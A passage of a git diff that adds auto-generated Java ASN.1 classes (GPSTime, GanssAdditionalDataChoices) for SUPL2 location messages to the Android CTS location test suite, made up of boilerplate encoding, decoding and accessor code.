+ return "gANSSdayType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gANSSTODhourType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gANSSTODhourType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gANSSTODhourType() {
+ super();
+ setValueRange("0", "23");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gANSSTODhourType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gANSSTODhourType != null) {
+ return ImmutableList.of(TAG_gANSSTODhourType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gANSSTODhourType from encoded stream.
+ */
+ public static gANSSTODhourType fromPerUnaligned(byte[] encodedBytes) {
+ gANSSTODhourType result = new gANSSTODhourType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gANSSTODhourType from encoded stream.
+ */
+ public static gANSSTODhourType fromPerAligned(byte[] encodedBytes) {
+ gANSSTODhourType result = new gANSSTODhourType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gANSSTODhourType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSextEphTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java
new file mode 100755
index 0000000..7a057ad
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GPSTime.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSTime extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSTime
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSTime() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSTime;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSTime != null) {
+ return ImmutableList.of(TAG_GPSTime);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSTime from encoded stream.
+ */
+ public static GPSTime fromPerUnaligned(byte[] encodedBytes) {
+ GPSTime result = new GPSTime();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSTime from encoded stream.
+ */
+ public static GPSTime fromPerAligned(byte[] encodedBytes) {
+ GPSTime result = new GPSTime();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSTime.gPSWeekType gPSWeek_;
+ public GPSTime.gPSWeekType getGPSWeek() {
+ return gPSWeek_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTime.gPSWeekType
+ */
+ public void setGPSWeek(Asn1Object value) {
+ this.gPSWeek_ = (GPSTime.gPSWeekType) value;
+ }
+ public GPSTime.gPSWeekType setGPSWeekToNewInstance() {
+ gPSWeek_ = new GPSTime.gPSWeekType();
+ return gPSWeek_;
+ }
+
+ private GPSTime.gPSTOWhourType gPSTOWhour_;
+ public GPSTime.gPSTOWhourType getGPSTOWhour() {
+ return gPSTOWhour_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTime.gPSTOWhourType
+ */
+ public void setGPSTOWhour(Asn1Object value) {
+ this.gPSTOWhour_ = (GPSTime.gPSTOWhourType) value;
+ }
+ public GPSTime.gPSTOWhourType setGPSTOWhourToNewInstance() {
+ gPSTOWhour_ = new GPSTime.gPSTOWhourType();
+ return gPSTOWhour_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGPSWeek() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGPSWeek();
+ }
+
+ @Override public void setToNewInstance() {
+ setGPSWeekToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTime.gPSWeekType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gPSWeek : "
+ + getGPSWeek().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGPSTOWhour() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGPSTOWhour();
+ }
+
+ @Override public void setToNewInstance() {
+ setGPSTOWhourToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSTime.gPSTOWhourType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gPSTOWhour : "
+ + getGPSTOWhour().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gPSWeekType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gPSWeekType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gPSWeekType() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gPSWeekType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gPSWeekType != null) {
+ return ImmutableList.of(TAG_gPSWeekType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gPSWeekType from encoded stream.
+ */
+ public static gPSWeekType fromPerUnaligned(byte[] encodedBytes) {
+ gPSWeekType result = new gPSWeekType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gPSWeekType from encoded stream.
+ */
+ public static gPSWeekType fromPerAligned(byte[] encodedBytes) {
+ gPSWeekType result = new gPSWeekType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gPSWeekType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gPSTOWhourType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gPSTOWhourType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gPSTOWhourType() {
+ super();
+ setValueRange("0", "167");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gPSTOWhourType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gPSTOWhourType != null) {
+ return ImmutableList.of(TAG_gPSTOWhourType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gPSTOWhourType from encoded stream.
+ */
+ public static gPSTOWhourType fromPerUnaligned(byte[] encodedBytes) {
+ gPSTOWhourType result = new gPSTOWhourType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gPSTOWhourType from encoded stream.
+ */
+ public static gPSTOWhourType fromPerAligned(byte[] encodedBytes) {
+ gPSTOWhourType result = new gPSTOWhourType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gPSTOWhourType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSTime = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java
new file mode 100755
index 0000000..7207266
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssAdditionalDataChoices.java
@@ -0,0 +1,729 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GanssAdditionalDataChoices extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GanssAdditionalDataChoices
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GanssAdditionalDataChoices() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GanssAdditionalDataChoices;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GanssAdditionalDataChoices != null) {
+ return ImmutableList.of(TAG_GanssAdditionalDataChoices);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GanssAdditionalDataChoices from encoded stream.
+ */
+ public static GanssAdditionalDataChoices fromPerUnaligned(byte[] encodedBytes) {
+ GanssAdditionalDataChoices result = new GanssAdditionalDataChoices();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GanssAdditionalDataChoices from encoded stream.
+ */
+ public static GanssAdditionalDataChoices fromPerAligned(byte[] encodedBytes) {
+ GanssAdditionalDataChoices result = new GanssAdditionalDataChoices();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GanssAdditionalDataChoices.orbitModelIDType orbitModelID_;
+ public GanssAdditionalDataChoices.orbitModelIDType getOrbitModelID() {
+ return orbitModelID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssAdditionalDataChoices.orbitModelIDType
+ */
+ public void setOrbitModelID(Asn1Object value) {
+ this.orbitModelID_ = (GanssAdditionalDataChoices.orbitModelIDType) value;
+ }
+ public GanssAdditionalDataChoices.orbitModelIDType setOrbitModelIDToNewInstance() {
+ orbitModelID_ = new GanssAdditionalDataChoices.orbitModelIDType();
+ return orbitModelID_;
+ }
+
+ private GanssAdditionalDataChoices.clockModelIDType clockModelID_;
+ public GanssAdditionalDataChoices.clockModelIDType getClockModelID() {
+ return clockModelID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssAdditionalDataChoices.clockModelIDType
+ */
+ public void setClockModelID(Asn1Object value) {
+ this.clockModelID_ = (GanssAdditionalDataChoices.clockModelIDType) value;
+ }
+ public GanssAdditionalDataChoices.clockModelIDType setClockModelIDToNewInstance() {
+ clockModelID_ = new GanssAdditionalDataChoices.clockModelIDType();
+ return clockModelID_;
+ }
+
+ private GanssAdditionalDataChoices.utcModelIDType utcModelID_;
+ public GanssAdditionalDataChoices.utcModelIDType getUtcModelID() {
+ return utcModelID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssAdditionalDataChoices.utcModelIDType
+ */
+ public void setUtcModelID(Asn1Object value) {
+ this.utcModelID_ = (GanssAdditionalDataChoices.utcModelIDType) value;
+ }
+ public GanssAdditionalDataChoices.utcModelIDType setUtcModelIDToNewInstance() {
+ utcModelID_ = new GanssAdditionalDataChoices.utcModelIDType();
+ return utcModelID_;
+ }
+
+ private GanssAdditionalDataChoices.almanacModelIDType almanacModelID_;
+ public GanssAdditionalDataChoices.almanacModelIDType getAlmanacModelID() {
+ return almanacModelID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GanssAdditionalDataChoices.almanacModelIDType
+ */
+ public void setAlmanacModelID(Asn1Object value) {
+ this.almanacModelID_ = (GanssAdditionalDataChoices.almanacModelIDType) value;
+ }
+ public GanssAdditionalDataChoices.almanacModelIDType setAlmanacModelIDToNewInstance() {
+ almanacModelID_ = new GanssAdditionalDataChoices.almanacModelIDType();
+ return almanacModelID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getOrbitModelID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOrbitModelID();
+ }
+
+ @Override public void setToNewInstance() {
+ setOrbitModelIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssAdditionalDataChoices.orbitModelIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "orbitModelID : "
+ + getOrbitModelID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getClockModelID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getClockModelID();
+ }
+
+ @Override public void setToNewInstance() {
+ setClockModelIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssAdditionalDataChoices.clockModelIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "clockModelID : "
+ + getClockModelID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUtcModelID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUtcModelID();
+ }
+
+ @Override public void setToNewInstance() {
+ setUtcModelIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssAdditionalDataChoices.utcModelIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "utcModelID : "
+ + getUtcModelID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getAlmanacModelID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAlmanacModelID();
+ }
+
+ @Override public void setToNewInstance() {
+ setAlmanacModelIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GanssAdditionalDataChoices.almanacModelIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "almanacModelID : "
+ + getAlmanacModelID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class orbitModelIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_orbitModelIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public orbitModelIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_orbitModelIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_orbitModelIDType != null) {
+ return ImmutableList.of(TAG_orbitModelIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new orbitModelIDType from encoded stream.
+ */
+ public static orbitModelIDType fromPerUnaligned(byte[] encodedBytes) {
+ orbitModelIDType result = new orbitModelIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new orbitModelIDType from encoded stream.
+ */
+ public static orbitModelIDType fromPerAligned(byte[] encodedBytes) {
+ orbitModelIDType result = new orbitModelIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "orbitModelIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class clockModelIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_clockModelIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public clockModelIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_clockModelIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_clockModelIDType != null) {
+ return ImmutableList.of(TAG_clockModelIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new clockModelIDType from encoded stream.
+ */
+ public static clockModelIDType fromPerUnaligned(byte[] encodedBytes) {
+ clockModelIDType result = new clockModelIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new clockModelIDType from encoded stream.
+ */
+ public static clockModelIDType fromPerAligned(byte[] encodedBytes) {
+ clockModelIDType result = new clockModelIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "clockModelIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcModelIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcModelIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcModelIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcModelIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcModelIDType != null) {
+ return ImmutableList.of(TAG_utcModelIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcModelIDType from encoded stream.
+ */
+ public static utcModelIDType fromPerUnaligned(byte[] encodedBytes) {
+ utcModelIDType result = new utcModelIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcModelIDType from encoded stream.
+ */
+ public static utcModelIDType fromPerAligned(byte[] encodedBytes) {
+ utcModelIDType result = new utcModelIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcModelIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class almanacModelIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_almanacModelIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public almanacModelIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_almanacModelIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_almanacModelIDType != null) {
+ return ImmutableList.of(TAG_almanacModelIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new almanacModelIDType from encoded stream.
+ */
+ public static almanacModelIDType fromPerUnaligned(byte[] encodedBytes) {
+ almanacModelIDType result = new almanacModelIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new almanacModelIDType from encoded stream.
+ */
+ public static almanacModelIDType fromPerAligned(byte[] encodedBytes) {
+ almanacModelIDType result = new almanacModelIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
